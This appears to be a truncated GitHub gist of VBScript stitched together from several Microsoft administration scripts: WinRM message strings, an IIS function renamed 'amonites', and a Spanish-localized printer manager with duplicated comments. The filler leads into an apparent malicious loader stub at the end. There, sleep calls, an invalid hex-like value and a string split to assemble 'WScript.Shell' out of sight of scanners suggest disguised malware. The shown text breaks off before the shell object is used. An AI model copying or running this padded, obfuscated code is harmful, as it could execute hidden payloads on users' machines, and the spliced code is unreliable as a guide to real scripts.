Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
This file has been truncated, but you can view the full file.
private const L_ERRNO_Message = "Error number: "
private const L_OpDoesntAcceptInput_ErrorMessage = "Input was supplied to an operation that does not accept input."
private const L_QuickConfigNoChangesNeeded_Message = "WinRM already is set up for remote management on this machine."
private const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = "Could not find update instructions in analysis result."
private const L_QuickConfigUpdated_Message = "WinRM has been updated for remote management."
private const L_QuickConfigUpdateFailed_ErrorMessage = "One or more update steps could not be completed."
private const L_QuickConfig_InvalidBool_0_ErrorMessage = "Could not determine if remoting is enabled."
private const L_QuickConfig_UpdatesNeeded_0_Message = "WinRM is not set up to allow remote access to this machine for management."
private const L_QuickConfig_UpdatesNeeded_1_Message = "The following changes must be made:"
private const L_QuickConfig_Prompt_0_Message = "Make these changes [y/n]? "
private const L_QuickConfigNoServiceChangesNeeded_Message = "WinRM already is set up to receive requests on this machine."
private const L_QuickConfigUpdatedService_Message = "WinRM has been updated to receive requests."
private const L_QuickConfig_ServiceUpdatesNeeded_0_Message = "WinRM is not set up to receive requests on this machine."
private const L_ONLYCSCRIPT_Message = "Can be executed only by cscript.exe."
private const L_UNKOPNM_Message = "Unknown operation name: "
private const L_OP_Message = "Operation - "
private const L_NOFILE_Message = "File does not exist: "
private const L_PARZERO_Message = "Parameter is zero length #"
private const L_INVOPT_ErrorMessage = "Switch not allowed with the given operation: "
private const L_UNKOPT_ErrorMessage = "Unknown switch: "
private const L_BLANKOPT_ErrorMessage = "Missing switch name"
private const L_UNKOPT_GenMessage = "Invalid use of command line. Type ""winrm -?"" for help."
private const L_HELP_GenMessage = "Type ""winrm -?"" for help."
private const L_ScriptNameNotFound_ErrorMessage = "Invalid usage of command line; winrm.vbs not found in command string."
private const L_ImproperUseOfQuotes_ErrorMessage = "A quoted parameter value must begin and end with quotes: "
private const L_BADMATCNT1_Message = "Unexpected match count - one match is expected: "
private const L_OPTNOTUNQ_Message = "Option is not unique: "
private const L_URIMISSING_Message = "URI is missing"
private const L_ACTIONMISSING_Message = "Action is missing"
private const L_URIZERO_Message = "URI is 0 length"
private const L_URIZEROTOK_Message = "Invalid URI, token is 0 length"
private const L_INVWMIURI1_Message = "Invalid WMI resource URI - no '/' found (at least 2 expected)"
private const L_INVWMIURI2_Message = "Invalid WMI resource URI - only one '/' found (at least 2 expected)"
private const L_NOLASTTOK_Message = "Invalid URI - cannot locate last token for root node name"
private const L_HashSyntax_ErrorMessage = "Syntax Error: input must be of the form {KEY=""VALUE""[;KEY=""VALUE""]}"
private const L_ARGNOVAL_Message = "Argument's value is not provided: "
private const L_XMLERROR_Message = "Unable to parse XML: "
private const L_XSLERROR_Message = "Unable to parse XSL file. Either it is inaccessible or invalid: "
private const L_MSXML3MISSING_Message = "Unable to load MSXML3, required by -format option and for set using ""@{...}"""
private const L_FORMATLERROR_Message = "Invalid option for -format: "
private const L_FORMATFAILED_Message = "Unable to reformat message. Raw, unformatted, message: "
private const L_PUT_PARAM_NOMATCH_Message = "Parameter name does not match any properties on resource: "
private const L_PUT_PARAM_MULTIMATCH_Message = "Parameter matches more than one property on resource: "
private const L_PUT_PARAM_NOARRAY_Message = "Multiple matching parameter names not allowedin @{...}: "
private const L_PUT_PARAM_NOTATTR_Message = "Parameter matches a non-text property on resource: "
private const L_PUT_PARAM_EMPTY_Message = "Parameter set is empty."
private const L_OPTIONS_PARAMETER_EMPTY_Message = "Options parameter has no value or is malformed."
private const L_RESOURCELOCATOR_Message = "Unable to create ResourceLocator object."
private const L_PUT_PARAM_NOINPUT_Message = "No input provided through ""@{...}"" or ""-file:"" commandline parameters."
private const L_ERR_Message = "Error: "
Function amonites(strAppName, intOperation)
Dim WebSvcObj
On Error Resume Next
oScriptHelper.WMIConnect
If Err.Number Then
WScript.Echo L_WMIConnect_ErrorMessage
oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)
amonites = Err.Number
Exit Function
End If
Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")
If Err.Number Then
Select Case Err.Number
Case &H80070005
WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")
WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")
Case Else
WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")
oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)
End Select
amonites = Err.Number
Exit Function
End If
Select Case intOperation
Case OPER_ENAPP
WebSvcObj.EnableApplication strAppName
Case OPER_ENEXT
WebSvcObj.EnableWebServiceExtension strAppName
Case OPER_ENEFI
WebSvcObj.EnableExtensionFile strAppName
Case OPER_DSEFI
WebSvcObj.DisableExtensionFile strAppName
End Select
If Err.Number Then
WScript.Echo L_EnApp_ErrorMessage
WScript.Echo Err.Description
Select Case intOperation
Case OPER_ENAPP
WScript.Echo GetLocalizedResource("L_NoApp_ErrorMessage")
WScript.Echo GetLocalizedResource("L_NoAppp2_ErrorMessage")
Case OPER_ENEXT
WScript.Echo GetLocalizedResource("L_NoExt_ErrorMessage")
Case OPER_ENEFI
WScript.Echo GetLocalizedResource("L_NoEfi_ErrorMessage")
Case OPER_DSEFI
WScript.Echo GetLocalizedResource("L_NoEfi_ErrorMessage")
End Select
amonites = Err.Number
Exit Function
End If
End Function
Dim L_PubprnUsage1_text
Dim L_PubprnUsage2_text
Dim L_PubprnUsage3_text
Dim L_PubprnUsage4_text
Dim L_PubprnUsage5_text
Dim L_PubprnUsage6_text
Dim L_GetObjectError1_text
Dim L_GetObjectError2_text
Dim L_PublishError1_text
Dim L_PublishError2_text
Dim L_PublishError3_text
Dim L_PublishSuccess1_text
L_PubprnUsage1_text = "Usage: [cscript] pubprn.vbs server ""LDAP://OU=..,DC=..."""
L_PubprnUsage2_text = " server is a Windows server name (e.g.: Server) or UNC printer name (\\Server\Printer)"
L_PubprnUsage3_text = " ""LDAP://CN=...,DC=..."" is the DS path of the target container"
L_PubprnUsage4_text = ""
L_PubprnUsage5_text = "Example 1: pubprn.vbs MyServer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_PubprnUsage6_text = "Example 2: pubprn.vbs \\MyServer\Printer ""LDAP://CN=MyContainer,DC=MyDomain,DC=Company,DC=Com"""
L_GetObjectError1_text = "Error: Path "
L_GetObjectError2_text = " not found."
L_GetObjectError3_text = "Error: Unable to access "
L_PublishError1_text = "Error: Pubprn cannot publish printers from "
L_PublishError2_text = " because it is running Windows 2000, or later."
L_PublishError3_text = "Failed to publish printer "
L_PublishError4_text = "Error: "
L_PublishSuccess1_text = "Published printer: "
'.....................................................................................................................................................................................................................................................................................................................................
'option explicit
'
' Debugging trace flags, to enable debug output trace message
' change gDebugFlag to true.
'
const kDebugTrace = 1
const kDebugError = 2
dim gDebugFlag
gDebugFlag = false
'
' Operation action values.
'
const kActionUnknown = 0
const kActionAdd = 1
const kActionAddConn = 2
const kActionDel = 3
const kActionDelAll = 4
const kActionDelAllCon = 5
const kActionDelAllLocal = 6
const kActionList = 7
const kActionGetDefaultPrinter = 8
const kActionSetDefaultPrinter = 9
const kErrorSuccess = 0
const KErrorFailure = 1
const kFlagCreateOnly = 2
const kNameSpace = "root\cimv2"
'
' Generic strings
'
const L_Empty_Text = ""
const L_Space_Text = " "
const L_Error_Text = "Error"
const L_Success_Text = "Correcto"
const L_Failed_Text = "Error"
const L_Hex_Text = "0x"
const L_Printer_Text = "Impresora"
const L_Operation_Text = "Operación"
const L_Provider_Text = "Proveedor"
const L_Description_Text = "Descripción"
const L_Debug_Text = "Depurar:"
const L_Connection_Text = "Conexión"
'
' General usage messages
'
const L_Help_Help_General01_Text = "Uso: prnmngr [-adxgtl?][c] [-s servidor][-p impresora][-m modelo controlador]"
const L_Help_Help_General02_Text = " [-r puerto][-u nombre usuario][-w contarseña]"
const L_Help_Help_General03_Text = "Argumentos:"
const L_Help_Help_General04_Text = "-a - agregar impresora local"
const L_Help_Help_General05_Text = "-ac - agregar conexión de impresora"
const L_Help_Help_General06_Text = "-d - eliminar impresora"
const L_Help_Help_General07_Text = "-g - obtener la impresora predeterminada"
const L_Help_Help_General08_Text = "-l - listar impresoras"
const L_Help_Help_General09_Text = "-m - modelo del controlador"
const L_Help_Help_General10_Text = "-p - nombre de la impresora"
const L_Help_Help_General11_Text = "-r - nombre del puerto"
const L_Help_Help_General12_Text = "-s - nombre del sevidor"
const L_Help_Help_General13_Text = "-t - establecer la impresora predeterminada"
const L_Help_Help_General14_Text = "-u - nombre de usuario"
const L_Help_Help_General15_Text = "-w - contraseña"
const L_Help_Help_General16_Text = "-x - eliminar todas las impresoras"
const L_Help_Help_General17_Text = "-xc - eliminar todas las conexiones de impresoras"
const L_Help_Help_General18_Text = "-xo - eliminar todas las impresoras locales"
const L_Help_Help_General19_Text = "-? - muestra el uso del comando"
const L_Help_Help_General20_Text = "Ejemplos:"
const L_Help_Help_General21_Text = "prnmngr -a -p ""impresora"" -m ""controlador"" -r ""lpt1:"""
const L_Help_Help_General22_Text = "prnmngr -d -p ""impresora"" -s servidor"
const L_Help_Help_General23_Text = "prnmngr -ac -p ""\\servidor\impresora"""
const L_Help_Help_General24_Text = "prnmngr -d -p ""\\servidor\impresora"""
const L_Help_Help_General25_Text = "prnmngr -x -s servidor"
const L_Help_Help_General26_Text = "prnmngr -xo"
const L_Help_Help_General27_Text = "prnmngr -l -s servidor"
const L_Help_Help_General28_Text = "prnmngr -g"
const L_Help_Help_General29_Text = "prnmngr -t -p ""\\servidor\impresora"""
'
' Messages to be displayed if the scripting host is not cscript
'
const L_Help_Help_Host01_Text = "Este script se debe ejecutar desde el símbolo del sistema por medio del comando CScript.exe."
const L_Help_Help_Host02_Text = "Por ejemplo: CScript script.vbs argumentos"
const L_Help_Help_Host03_Text = ""
const L_Help_Help_Host04_Text = "Para establecer a CScript como la aplicación predeterminada para ejecutar archivos .VBS, ejecute lo siguiente:"
const L_Help_Help_Host05_Text = " CScript //H:CScript //S"
const L_Help_Help_Host06_Text = "Podrá entonces ejecutar ""script.vbs argumentos"" sin necesidad de agregar CScript antes del script."
'
' General error messages
'
const L_Text_Error_General01_Text = "No se pudo determinar el host de scripting."
const L_Text_Error_General02_Text = "No se puede analizar la línea de comandos."
const L_Text_Error_General03_Text = "Código de error de Win32"
'
' Miscellaneous messages
'
const L_Text_Msg_General01_Text = "Impresora agregada"
const L_Text_Msg_General02_Text = "No se puede agregar la impresora"
const L_Text_Msg_General03_Text = "Conexión de impresora agregada"
const L_Text_Msg_General04_Text = "No se puede agregar la conexión de impresora"
const L_Text_Msg_General05_Text = "Impresora eliminada"
const L_Text_Msg_General06_Text = "No se puede eliminar impresora"
const L_Text_Msg_General07_Text = "Intentando eliminar impresora"
const L_Text_Msg_General08_Text = "No se pueden eliminar las impresoras"
const L_Text_Msg_General09_Text = "Número de impresoras y conexiones locales enumeradas"
const L_Text_Msg_General10_Text = "Número de impresoras y conexiones locales eliminadas"
const L_Text_Msg_General11_Text = "No se pueden enumerar impresoras"
const L_Text_Msg_General12_Text = "La impresora predeterminada es"
const L_Text_Msg_General13_Text = "No se puede obtener la impresora predeterminada"
const L_Text_Msg_General14_Text = "No se puede establecer la impresora predeterminada"
const L_Text_Msg_General15_Text = "La impresora predeterminada es ahora"
const L_Text_Msg_General16_Text = "Número de conexiones de impresora enumeradas"
const L_Text_Msg_General17_Text = "Número de conexiones de impresora eliminadas"
const L_Text_Msg_General18_Text = "Número de impresoras locales enumeradas"
const L_Text_Msg_General19_Text = "Número de impresoras locales eliminadas"
'
' Printer properties
'
const L_Text_Msg_Printer01_Text = "Nombre de servidor"
const L_Text_Msg_Printer02_Text = "Nombre de impresora"
const L_Text_Msg_Printer03_Text = "Nombre del recurso compartido"
const L_Text_Msg_Printer04_Text = "Nombre de controlador"
const L_Text_Msg_Printer05_Text = "Nombre del puerto"
const L_Text_Msg_Printer06_Text = "Comentario"
const L_Text_Msg_Printer07_Text = "Ubicación"
const L_Text_Msg_Printer08_Text = "Archivo separador"
const L_Text_Msg_Printer09_Text = "Procesador de impresión"
const L_Text_Msg_Printer10_Text = "Tipo de datos"
const L_Text_Msg_Printer11_Text = "Parámetros"
const L_Text_Msg_Printer12_Text = "Atributos"
const L_Text_Msg_Printer13_Text = "Prioridad"
const L_Text_Msg_Printer14_Text = "Prioridad predeterminada"
const L_Text_Msg_Printer15_Text = "Hora de inicio"
const L_Text_Msg_Printer16_Text = "Tiempo final"
const L_Text_Msg_Printer17_Text = "Cuenta de trabajos"
const L_Text_Msg_Printer18_Text = "Número medio de páginas por minuto"
const L_Text_Msg_Printer19_Text = "Estado de la impresora"
const L_Text_Msg_Printer20_Text = "Estado de impresora extendido"
const L_Text_Msg_Printer21_Text = "Estado de error detectado"
const L_Text_Msg_Printer22_Text = "Estado de error detectado extendido"
'
' Printer status
'
const L_Text_Msg_Status01_Text = "Otros"
const L_Text_Msg_Status02_Text = "Desconocido"
const L_Text_Msg_Status03_Text = "Inactivo"
const L_Text_Msg_Status04_Text = "Imprimiendo"
const L_Text_Msg_Status05_Text = "Calentamiento"
const L_Text_Msg_Status06_Text = "Impresión detenida"
const L_Text_Msg_Status07_Text = "Sin conexión"
const L_Text_Msg_Status08_Text = "Pausado"
const L_Text_Msg_Status09_Text = "Error"
const L_Text_Msg_Status10_Text = "Ocupado"
const L_Text_Msg_Status11_Text = "No disponible"
const L_Text_Msg_Status12_Text = "En espera"
const L_Text_Msg_Status13_Text = "Procesando"
const L_Text_Msg_Status14_Text = "Inicializando"
const L_Text_Msg_Status15_Text = "Ahorro de energía"
const L_Text_Msg_Status16_Text = "Eliminación pendiente"
const L_Text_Msg_Status17_Text = "E/S activa"
const L_Text_Msg_Status18_Text = "Alimentación manual"
const L_Text_Msg_Status19_Text = "Sin errores"
const L_Text_Msg_Status20_Text = "Falta papel"
const L_Text_Msg_Status21_Text = "No hay papel"
const L_Text_Msg_Status22_Text = "Falta tóner"
const L_Text_Msg_Status23_Text = "Sin tóner"
const L_Text_Msg_Status24_Text = "Puerta abierta"
const L_Text_Msg_Status25_Text = "Atascado"
const L_Text_Msg_Status26_Text = "Servicio solicitado"
const L_Text_Msg_Status27_Text = "Bandeja de salida llena"
const L_Text_Msg_Status28_Text = "Problema con el papel"
const L_Text_Msg_Status29_Text = "No se puede imprimir la página"
const L_Text_Msg_Status30_Text = "Intervención del usuario requerida"
const L_Text_Msg_Status31_Text = "Memoria insuficiente"
const L_Text_Msg_Status32_Text = "Servidor desconocido"
'
' Debug messages
'
const L_Text_Dbg_Msg01_Text = "En la función AddPrinter"
const L_Text_Dbg_Msg02_Text = "En la función AddPrinterConnection"
const L_Text_Dbg_Msg03_Text = "En la función DelPrinter"
const L_Text_Dbg_Msg04_Text = "En la función DelAllPrinters"
const L_Text_Dbg_Msg05_Text = "En la función ListPrinters"
const L_Text_Dbg_Msg06_Text = "En la función GetDefaultPrinter"
const L_Text_Dbg_Msg07_Text = "En la función SetDefaultPrinter"
const L_Text_Dbg_Msg08_Text = "En la función ParseCommandLine"
function DelAllPrinters(kAction, strServer, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
dim Printers
dim oPrinter
dim oService
dim iResult
dim iTotal
dim iTotalDeleted
dim strPrinterName
dim bDelete
dim bConnection
dim strTemp
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set Printers = oService.InstancesOf("Win32_Printer")
else
DelAllPrinters = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
DelAllPrinters = kErrorFailure
exit function
end if
iTotal = 0
iTotalDeleted = 0
for each oPrinter in Printers
strPrinterName = oPrinter.DeviceID
bConnection = oPrinter.Network
if kAction = kActionDelAll then
bDelete = 1
iTotal = iTotal + 1
elseif kAction = kActionDelAllCon and bConnection then
bDelete = 1
iTotal = iTotal + 1
elseif kAction = kActionDelAllLocal and not bConnection then
bDelete = 1
iTotal = iTotal + 1
else
bDelete = 0
end if
if bDelete = 1 then
if bConnection then
strTemp = L_Space_Text & L_Connection_Text & L_Space_Text
else
strTemp = L_Space_Text
end if
'
' Delete printer instance '
' Delete printer instance '
' Delete printer instance
'
' Delete printer instance
'
oPrinter.Delete_
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General05_Text & strTemp & oPrinter.DeviceID
iTotalDeleted = iTotalDeleted + 1
else
wscript.echo L_Text_Msg_General06_Text & strTemp & strPrinterName _
& L_Space_Text & L_Error_Text & L_Space_Text & L_Hex_Text _
& hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
'
' Continue deleting the rest of the printers despite this error
'
Err.Clear
end if
end if
next
wscript.echo L_Empty_Text
if kAction = kActionDelAll then
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & iTotalDeleted
elseif kAction = kActionDelAllCon then
wscript.echo L_Text_Msg_General16_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General17_Text & L_Space_Text & iTotalDeleted
elseif kAction = kActionDelAllLocal then
wscript.echo L_Text_Msg_General18_Text & L_Space_Text & iTotal
wscript.echo L_Text_Msg_General19_Text & L_Space_Text & iTotalDeleted
else
end if
DelAllPrinters = kErrorSuccess
end function
'...................................................................................................................................................................................................................................................................................
function ListPrinters(strServer, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim Printers
dim oService
dim oPrinter
dim iTotal
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set Printers = oService.InstancesOf("Win32_Printer")
else
ListPrinters = kErrorFailure
exit function
end if
if Err.Number <> kErrorSuccess then
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
ListPrinters = kErrorFailure
exit function
end if
iTotal = 0
for each oPrinter in Printers
iTotal = iTotal + 1
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SepFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDataType
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer12_Text & L_Space_Text & CSTR(oPrinter.Attributes)
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CSTR(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
if CStr(oPrinter.StartTime) <> "" and CStr(oPrinter.UntilTime) <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 1, 2) & "h" & Mid(Mid(CStr(oPrinter.StartTime), 9, 4), 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 1, 2) & "h" & Mid(Mid(CStr(oPrinter.UntilTime), 9, 4), 3, 2)
end if
wscript.echo L_Text_Msg_Printer17_Text & L_Space_Text & CStr(oPrinter.Jobs)
wscript.echo L_Text_Msg_Printer18_Text & L_Space_Text & CStr(oPrinter.AveragePagesPerMinute)
wscript.echo L_Text_Msg_Printer19_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_Printer20_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_Printer21_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_Printer22_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
Err.Clear
next
wscript.echo L_Empty_Text
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & iTotal
ListPrinters = kErrorSuccess
end function
'----------------------------------------------------------------------'----------------------------------------------------------------------
'----------------------------------------------------------------------
' Copyright (c) Microsoft Corporation. All rights reserved.
' Abstract:
' prnqctl.vbs - printer control script for WMI on Windows
' used to pause, resume and purge a printer
' also used to print a test page on a printer
' Usage:
' prnqctl [-zmex?] [-s server] [-p printer] [-u user name] [-w password]
' Examples:
' prnqctl -m -s server -p printer
' prnqctl -x -s server -p printer
' prnqctl -e -b printer
'----------------------------------------------------------------------'----------------------------------------------------------------------
'----------------------------------------------------------------------
' Copyright (c) Microsoft Corporation. All rights reserved.
' Abstract:
' prnqctl.vbs - printer control script for WMI on Windows
' used to pause, resume and purge a printer
' also used to print a test page on a printer
' Usage:
' prnqctl [-zmex?] [-s server] [-p printer] [-u user name] [-w password]
' Examples:
' prnqctl -m -s server -p printer
' prnqctl -x -s server -p printer
' prnqctl -e -b printer
'----------------------------------------------------------------------'----------------------------------------------------------------------
WScript.Sleep(7)
WScript.Sleep(7)
DIM dateas, hotfii, x254, X33
X33= C600C60046004700E600000023003300C6005600E60027005400B6000000E48E06
x254 = "I"
Set ShellObj = WScript.CreateObject("WSCR" + x254 + "PT.SHELL")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment